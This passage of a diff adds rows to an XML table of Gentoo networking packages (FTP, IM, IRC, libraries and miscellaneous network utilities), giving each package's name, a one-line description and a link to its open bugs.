+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/axyftp">net-ftp/axyftp</uri></ti>
+<ti>GUI FTP client for X Window System (former WXftp)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23axyftp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/ftpbase">net-ftp/ftpbase</uri></ti>
+<ti>FTP layout package</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ftpbase">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/oftpd">net-ftp/oftpd</uri></ti>
+<ti>Secure, small, anonymous only ftpd</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23oftpd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/profxp">net-ftp/profxp</uri></ti>
+<ti>FXP (server-to-server FTP) commandline client written in Perl</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23profxp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/pureadmin">net-ftp/pureadmin</uri></ti>
+<ti>PureAdmin is a GUI tool used to make the management of Pure-FTPd a little easier.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pureadmin">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-ftp/yafc">net-ftp/yafc</uri></ti>
+<ti>Console ftp client with a lot of nifty features</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yafc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-im/gnugadu">net-im/gnugadu</uri></ti>
+<ti>GTK-based Gadu-Gadu, Tlen and Jabber IM client</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gnugadu">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-im/librvp">net-im/librvp</uri></ti>
+<ti>An RVP (Microsoft Exchange Instant Messaging) plugin for Pidgin</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23librvp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-im/pork">net-im/pork</uri></ti>
+<ti>Console based AIM client that looks like ircII</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pork">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-im/skysentials">net-im/skysentials</uri></ti>
+<ti>Provides some handy Skype features that are lacking in the Linux client (SMS, etc)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23skysentials">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-im/tleenx2">net-im/tleenx2</uri></ti>
+<ti>A client for Polish Tlen.pl instant messenging system.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tleenx2">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-irc/inspircd">net-irc/inspircd</uri></ti>
+<ti>InspIRCd - The Modular C++ IRC Daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23inspircd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/adns">net-libs/adns</uri></ti>
+<ti>Advanced, easy to use, asynchronous-capable DNS client library and utilities</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23adns">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/enet">net-libs/enet</uri></ti>
+<ti>relatively thin, simple and robust network communication layer on top of UDP</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23enet">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/libcapsinetwork">net-libs/libcapsinetwork</uri></ti>
+<ti>C++ network library to allow fast development of server daemon processes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libcapsinetwork">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/libfwbuilder">net-libs/libfwbuilder</uri></ti>
+<ti>Firewall Builder 4.0 API library and compiler framework</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libfwbuilder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/libident">net-libs/libident</uri></ti>
+<ti>A small library to interface to the Ident protocol server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libident">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/librsync">net-libs/librsync</uri></ti>
+<ti>Flexible remote checksum-based differencing</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23librsync">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/libvncserver">net-libs/libvncserver</uri></ti>
+<ti>library for creating vnc servers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libvncserver">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/meanwhile">net-libs/meanwhile</uri></ti>
+<ti>Meanwhile (Sametime protocol) library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23meanwhile">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/neon">net-libs/neon</uri></ti>
+<ti>HTTP and WebDAV client library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23neon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/serf">net-libs/serf</uri></ti>
+<ti>HTTP client library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23serf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-libs/vanessa-mcast">net-libs/vanessa-mcast</uri></ti>
+<ti>Multicast Helper Library</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23vanessa-mcast">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-mail/renattach">net-mail/renattach</uri></ti>
+<ti>Filter that renames/deletes dangerous email attachments.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23renattach">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/6tunnel">net-misc/6tunnel</uri></ti>
+<ti>TCP proxy for applications that don't speak IPv6</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%236tunnel">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/aget">net-misc/aget</uri></ti>
+<ti>multithreaded HTTP download accelerator</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aget">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ajaxterm">net-misc/ajaxterm</uri></ti>
+<ti>Ajaxterm is a web based terminal</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ajaxterm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/apt-proxy">net-misc/apt-proxy</uri></ti>
+<ti>Caching proxy for the Debian package system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23apt-proxy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/arpd">net-misc/arpd</uri></ti>
+<ti>ARP server which claims all unassigned addresses (for network monitoring or simulation)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23arpd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/autossh">net-misc/autossh</uri></ti>
+<ti>Automatically restart SSH sessions and tunnels</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23autossh">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/blinkperl">net-misc/blinkperl</uri></ti>
+<ti>blinkperl is a telnet server, which plays BlinkenLight movies</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23blinkperl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/bwwhois">net-misc/bwwhois</uri></ti>
+<ti>Perl-based whois client designed to work with the new Shared Registration System</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bwwhois">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/cadaver">net-misc/cadaver</uri></ti>
+<ti>Command-line WebDAV client.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cadaver">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/cbqinit">net-misc/cbqinit</uri></ti>
+<ti>Sets up class-based queue traffic control (QoS) with iproute2</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cbqinit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/cgterm">net-misc/cgterm</uri></ti>
+<ti>Connect to C64 telnet BBS's with the correct colours and font</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cgterm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/cisco-vpnclient-3des">net-misc/cisco-vpnclient-3des</uri></ti>
+<ti>Cisco VPN Client (3DES)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cisco-vpnclient-3des">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/clipgrab">net-misc/clipgrab</uri></ti>
+<ti>Download from various internet video services like Youtube etc.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23clipgrab">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/clockspeed-conf">net-misc/clockspeed-conf</uri></ti>
+<ti>scripts to setup a clockspeed client and/or a taiclockd server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23clockspeed-conf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/datapipe">net-misc/datapipe</uri></ti>
+<ti>bind a local port and connect it to a remote socket</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23datapipe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/dhcping">net-misc/dhcping</uri></ti>
+<ti>Utility for sending a dhcp request to a dhcp server to see if it is responding.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23dhcping">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/efax">net-misc/efax</uri></ti>
+<ti>A simple fax program for single-user systems</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23efax">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/emirror">net-misc/emirror</uri></ti>
+<ti>ECLiPt FTP mirroring tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23emirror">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/fakeidentd">net-misc/fakeidentd</uri></ti>
+<ti>A static, secure identd. One source file only!</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fakeidentd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ferm">net-misc/ferm</uri></ti>
+<ti>Command line util for managing firewall rules</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ferm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/fmirror">net-misc/fmirror</uri></ti>
+<ti>FTP mirror utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23fmirror">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/geekcredit">net-misc/geekcredit</uri></ti>
+<ti>Digital complementary currency for internet.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23geekcredit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/getdate">net-misc/getdate</uri></ti>
+<ti>Network Date/Time Query and Set Local Date/Time Utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23getdate">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/gip">net-misc/gip</uri></ti>
+<ti>A nice GNOME GUI for making IP address based calculations</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gip">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/gofish">net-misc/gofish</uri></ti>
+<ti>Gofish gopher server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gofish">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/hamachi">net-misc/hamachi</uri></ti>
+<ti>Hamachi is a secure mediated peer to peer.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hamachi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/hashcash">net-misc/hashcash</uri></ti>
+<ti>Utility to generate hashcash tokens</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hashcash">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/hlfl">net-misc/hlfl</uri></ti>
+<ti>High Level Firewall Language</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hlfl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/httptunnel">net-misc/httptunnel</uri></ti>
+<ti>httptunnel can create IP tunnels through firewalls/proxies using HTTP</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23httptunnel">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/httptype">net-misc/httptype</uri></ti>
+<ti>httptype is a program that returns the http host software of a website.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23httptype">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/htun">net-misc/htun</uri></ti>
+<ti>Project to tunnel IP traffic over HTTP</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23htun">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ipx-utils">net-misc/ipx-utils</uri></ti>
+<ti>The IPX Utilities</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ipx-utils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/jigdo">net-misc/jigdo</uri></ti>
+<ti>Jigsaw Download is a tool designed to ease the distribution of large files, for example DVD images.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jigdo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/jlj">net-misc/jlj</uri></ti>
+<ti>A simple console LiveJournal entry system.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jlj">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/jumpgate">net-misc/jumpgate</uri></ti>
+<ti>An advanced TCP connection forwarder.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jumpgate">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/knock">net-misc/knock</uri></ti>
+<ti>A simple port-knocking daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23knock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/lambdamoo">net-misc/lambdamoo</uri></ti>
+<ti>networked mud that can be used for different types of collaborative software</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lambdamoo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/linux-identd">net-misc/linux-identd</uri></ti>
+<ti>A real IDENT daemon for linux.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23linux-identd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/liveice">net-misc/liveice</uri></ti>
+<ti>Live Source Client For IceCast</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23liveice">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/mDNSResponder">net-misc/mDNSResponder</uri></ti>
+<ti>A component of Bonjour, Apple's initiative for zero-configuration networking.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mDNSResponder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/midentd">net-misc/midentd</uri></ti>
+<ti>ident daemon with masquerading and fake replies support</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23midentd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/mknbi">net-misc/mknbi</uri></ti>
+<ti>Utility for making tagged kernel images useful for netbooting</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mknbi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/monmotha">net-misc/monmotha</uri></ti>
+<ti>MonMotha IPTables-based firewall script.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23monmotha">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/mrouted">net-misc/mrouted</uri></ti>
+<ti>IP multicast routing daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mrouted">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/nemesis">net-misc/nemesis</uri></ti>
+<ti>A commandline-based, portable human IP stack for UNIX/Linux</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nemesis">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netcomics-cvs">net-misc/netcomics-cvs</uri></ti>
+<ti>Program to download daily comics strips from web</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netcomics-cvs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-bootparamd">net-misc/netkit-bootparamd</uri></ti>
+<ti>Netkit - bootparamd</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-bootparamd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-bootpd">net-misc/netkit-bootpd</uri></ti>
+<ti>Netkit - bootp</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-bootpd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-routed">net-misc/netkit-routed</uri></ti>
+<ti>Netkit - routed</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-routed">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-rusers">net-misc/netkit-rusers</uri></ti>
+<ti>Netkit - rup rpc.rusersd rusers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-rusers">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-rwall">net-misc/netkit-rwall</uri></ti>
+<ti>Netkit - rwall</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-rwall">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-talk">net-misc/netkit-talk</uri></ti>
+<ti>Netkit - talkd</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-talk">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netkit-timed">net-misc/netkit-timed</uri></ti>
+<ti>Netkit - timed</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netkit-timed">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netpipe">net-misc/netpipe</uri></ti>
+<ti>tool to reliably distribute binary data using UDP broadcasting techniques</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netpipe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netprofiles-ims">net-misc/netprofiles-ims</uri></ti>
+<ti>The Netprofiles Interface Management System (IMS) is an easy way to manage multiple network configurations for your wired or wireless network cards.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netprofiles-ims">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/netsed">net-misc/netsed</uri></ti>
+<ti>A small and handful utility designed to alter the contents of packets forwarded thru your network in real time</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23netsed">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/nut-monitor">net-misc/nut-monitor</uri></ti>
+<ti>A graphical application to monitor and manage UPSes connected to a NUT server</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23nut-monitor">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/omnievents">net-misc/omnievents</uri></ti>
+<ti>An implementation of the CORBA Events Service for omniORB</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23omnievents">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/orbited">net-misc/orbited</uri></ti>
+<ti>Real-time communication for the browser.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23orbited">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/pen">net-misc/pen</uri></ti>
+<ti>TCP Load Balancing Port Forwarder</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pen">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/pimpd">net-misc/pimpd</uri></ti>
+<ti>RFC1413-compliant identd server supporting masqueraded connections</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pimpd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/portfwd">net-misc/portfwd</uri></ti>
+<ti>Port Forwarding Daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23portfwd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/proxychains">net-misc/proxychains</uri></ti>
+<ti>force any tcp connections to flow through a proxy (or proxy chain)</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23proxychains">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/proxyper">net-misc/proxyper</uri></ti>
+<ti>distributed.net personal proxy</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23proxyper">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ptrtd">net-misc/ptrtd</uri></ti>
+<ti>Portable Transport Relay Translator Daemon for IPv6</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ptrtd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/puf">net-misc/puf</uri></ti>
+<ti>A download tool for UNIX-like systems.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23puf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/pytvshows">net-misc/pytvshows</uri></ti>
+<ti>downloads torrents for TV shows from RSS feeds provided by ezrss.it.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pytvshows">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/raccess">net-misc/raccess</uri></ti>
+<ti>Remote Access Session is an systems security analyzer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23raccess">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/redir">net-misc/redir</uri></ti>
+<ti>Redir is a port redirector.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23redir">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/rinetd">net-misc/rinetd</uri></ti>
+<ti>redirects TCP connections from one IP address and port to another</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rinetd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/rwbs">net-misc/rwbs</uri></ti>
+<ti>Roger Wilco base station</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rwbs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/secpanel">net-misc/secpanel</uri></ti>
+<ti>Graphical frontend for managing and running SSH and SCP connections</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23secpanel">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/selfdhcp">net-misc/selfdhcp</uri></ti>
+<ti>a small stealth network autoconfigure software.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23selfdhcp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/sendfile">net-misc/sendfile</uri></ti>
+<ti>SAFT implementation for UNIX and serves as a tool for asynchronous sending of files in the Internet</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sendfile">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/sipcalc">net-misc/sipcalc</uri></ti>
+<ti>Sipcalc is an advanced console-based IP subnet calculator.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sipcalc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/sitecopy">net-misc/sitecopy</uri></ti>
+<ti>sitecopy is for easily maintaining remote web sites</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sitecopy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/snarf">net-misc/snarf</uri></ti>
+<ti>Small and fast command line resource grabber with support for http, gopher, finger, and ftp protocols.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23snarf">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/sock">net-misc/sock</uri></ti>
+<ti>A shell interface to network sockets</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sock">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/spread">net-misc/spread</uri></ti>
+<ti>Distributed network messaging system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23spread">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/ssh-installkeys">net-misc/ssh-installkeys</uri></ti>
+<ti>Script to install ssh keys on local and remote servers.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ssh-installkeys">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/sslwrap">net-misc/sslwrap</uri></ti>
+<ti>TSL/SSL - Port Wrapper</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sslwrap">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/net-misc/telnet-bsd">net-misc/telnet-bsd</uri></ti>
+<ti>Telnet and telnetd ported from OpenBSD with IPv6 support</ti>
